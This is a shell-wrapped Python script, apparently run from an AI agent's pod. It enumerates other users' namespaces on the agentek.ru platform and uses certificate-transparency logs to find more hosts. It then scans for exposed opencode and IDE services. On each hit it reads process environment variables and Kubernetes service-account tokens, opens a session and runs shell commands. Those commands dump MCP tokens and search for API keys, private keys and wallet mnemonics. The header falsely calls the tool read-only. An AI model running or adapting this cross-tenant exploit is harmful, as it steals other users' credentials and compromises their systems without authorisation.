#!/bin/bash
# i26433 opencode persistent sentinel — read-only GET polling + on-hit extraction
# Runs inside agent-604 pod via hermes cron --no-agent (uid 10000). Output -> /opt/data/workspace/i26433
python3 - <<'PYEOF'
import ssl, urllib.request, urllib.parse, urllib.error, json, os, re, time, socket
import concurrent.futures as cf

WORK="/opt/data/workspace/i26433"
os.makedirs(WORK, exist_ok=True)
LOG=os.path.join(WORK,"sentinel.log")
HITS=os.path.join(WORK,"HITS.txt")

CTX=ssl.create_default_context(); CTX.check_hostname=False; CTX.verify_mode=ssl.CERT_NONE
CTRL="probe-i26363oc-prod-user-572-476-probe-user-3a6e150b.k.agentek.ru"

REAL_NS=["prod-user-4-4-obbana2-c78ffe8c","prod-user-4-4-obbana2","prod-org-4-4-obbana2-c78ffe8c",
"prod-user-11-11-alex-d15a4142","prod-user-76-78-roman-7a90aa53","prod-user-2-2-me-c99ebfc4",
"prod-user-191-167-yuliya-a5b31289","prod-user-3-3-vlad","prod-user-5-5-claude",
"prod-user-220-191-andrei-b5197e19"]
NSF=os.path.join(WORK,"ns.txt")
ALL_NS=[x for x in open(NSF).read().split()] if os.path.exists(NSF) else []
if not ALL_NS: ALL_NS=REAL_NS

SVC_FULL=["opencode","coding-studio","opendesign","design-studio","studio","code","ide","workspace",
"vscode","dev","terminal","jupyter","jupyterlab","twenty","crm","git-deploy","open-webui",
"owui","claude-code","code-server"]
SVC_ALLNS=["opencode","coding-studio","opendesign","twenty"]

def http(url, timeout=6, data=None, headers=None, method=None):
    req=urllib.request.Request(url, data=data, headers=headers or {}, method=method)
    try:
        with urllib.request.urlopen(req, timeout=timeout, context=CTX) as r:
            return r.status, r.read(), dict(r.headers)
    except urllib.error.HTTPError as e:
        try: b=e.read()
        except: b=b""
        return e.code, b, dict(e.headers or {})
    except Exception as e:
        return None, (type(e).__name__+": "+str(e)).encode(), {}

def check(host):
    code, body, _ = http("https://"+host+"/", timeout=6)
    title=""
    if body:
        m=re.search(rb'<title>([^<]*)</title>', body, re.I)
        if m: title=m.group(1).decode("utf-8","ignore")
    return host, code, len(body or b""), title

def log(s):
    with open(LOG,"a") as f: f.write(s+"\n")

def extract(host):
    d=os.path.join(WORK,"hit-"+re.sub(r'[^a-zA-Z0-9.-]','_',host))
    os.makedirs(d, exist_ok=True)
    def save(name, code, body):
        try: open(os.path.join(d,name),"wb").write(body or b"")
        except: pass
    save("root.html", *http("https://"+host+"/")[:2])
    save("config.json", *http("https://"+host+"/config")[:2])
    save("doc.json", *http("https://"+host+"/doc", timeout=15)[:2])
    def fsread(path, out):
        u="https://"+host+"/api/fs/read/"+urllib.parse.quote(path.lstrip('/'), safe='')+"?location%5Bdirectory%5D=/"
        c,b,_=http(u, timeout=15); save(out, c, b); return c,len(b or b"")
    res={}
    for p,o in [("/proc/1/environ","proc1_environ.txt"),
                ("/var/run/secrets/kubernetes.io/serviceaccount/token","sa_token.txt"),
                ("/var/run/secrets/kubernetes.io/serviceaccount/namespace","sa_namespace.txt"),
                ("/proc/1/mountinfo","mountinfo.txt"),
                ("/etc/hostname","hostname.txt"),("/etc/resolv.conf","resolv.conf")]:
        res[p]=fsread(p,o)
    CMD=("echo ID; id; echo HOST; hostname; echo ENVKEYS; env | sort; "
         "echo LSHOME; ls -la /home/coder 2>&1; "
         "echo FIND_HOME; find /home/coder -maxdepth 4 -type f 2>/dev/null | head -200; "
         "echo LS_OPTDATA; ls -la /opt/data 2>&1; "
         "echo LS_MCPTOK; ls -la /opt/data/mcp-tokens 2>&1; "
         "echo CAT_MCPTOK; for f in /opt/data/mcp-tokens/*; do echo \"### $f\"; cat \"$f\" 2>/dev/null; done; "
         "echo GREP_KEYS; grep -rIl -E 'access_token|refresh_token|private_key|PRIVATE KEY|api_key|LITELLM|TELEGRAM|MNEMONIC|seed' /home/coder /opt/data 2>/dev/null | head -100; "
         "echo FIND_SENS; find /home/coder /opt/data -maxdepth 5 -type f \\( -name '*.key' -o -name '*.pem' -o -name 'id_*' -o -name '*keyfile*' -o -name '*.env' -o -name 'credentials*' -o -name 'auth.json' -o -name '*.client.json' \\) 2>/dev/null | head -200")
    c,b,_=http("https://"+host+"/session", data=b'{"title":"sentinel"}', headers={"Content-Type":"application/json"}, method="POST", timeout=15)
    sid=None
    try: sid=json.loads(b).get("id")
    except: pass
    if sid:
        save("shell_raw.txt", *http("https://"+host+"/session/"+str(sid)+"/shell", data=json.dumps({"agent":"build","command":CMD}).encode(), headers={"Content-Type":"application/json"}, method="POST", timeout=40)[:2])
    summary="%s HIT %s fsreads=%s sid=%s dir=%s"%(time.strftime("%Y-%m-%dT%H:%M:%SZ",time.gmtime()),host,res,sid,d)
    log("OPCODE-HIT "+summary)
    with open(HITS,"a") as f: f.write(summary+"\n")
    return summary

def main():
    log("=== sweep %s host=%s ctrl=%s ==="%(time.strftime("%Y-%m-%dT%H:%M:%SZ",time.gmtime()),socket.gethostname(),CTRL))
    ch=check(CTRL); dh=check("opencode-prod-user-4-4-obbana2-c78ffe8c.k.agentek.ru")
    log("SELFTEST control=%s dead=%s"%(str(ch),str(dh)))
    cand=set()
    for ns in REAL_NS:
        for s in SVC_FULL: cand.add("%s-%s.k.agentek.ru"%(s,ns))
    for ns in ALL_NS:
        for s in SVC_ALLNS: cand.add("%s-%s.k.agentek.ru"%(s,ns))
    try:
        c,b,_=http("https://crt.sh/?q=%25.k.agentek.ru&output=json&exclude=expired", timeout=30)
        if c==200:
            seen=set()
            for row in json.loads(b):
                for n in str(row.get("name_value","")).split("\n"):
                    n=n.strip().lower()
                    if n.endswith(".k.agentek.ru") and ".dev.k." not in n and ".preview.k." not in n and ".staging." not in n and ".test." not in n:
                        seen.add(n)
            log("CT names=%d"%len(seen))
            for n in seen:
                if any(k in n for k in ["opencode","coding-studio","opendesign","design-studio","studio","twenty","crm","ide","workspace","jupyter","vscode","-code-","code-","dev-"]):
                    cand.add(n)
        else:
            log("CT status=%s"%c)
    except Exception as e:
        log("CT err "+str(e)[:120])
    cand.discard(CTRL)
    cand=list(cand)
    log("candidates=%d"%len(cand))
    hits=[]; non404=[]
    with cf.ThreadPoolExecutor(max_workers=20) as ex:
        for host,code,blen,title in ex.map(check, cand):
            if code not in (404,None):
                line="%s code=%s size=%s title=%r"%(host,code,blen,title)
                non404.append(line)
                if code==200 and "opencode" in title.lower():
                    hits.append(line); log("CAND-HIT "+line)
    log("NON404 %d: %s"%(len(non404)," | ".join(non404[:40])))
    for h in hits:
        host=h.split()[0]
        try: extract(host)
        except Exception as e: log("EXTRACT-ERR "+host+" "+str(e)[:120])
    log("=== done %s hits=%d ==="%(time.strftime("%Y-%m-%dT%H:%M:%SZ",time.gmtime()),len(hits)))

if __name__=="__main__":
    main()
PYEOF
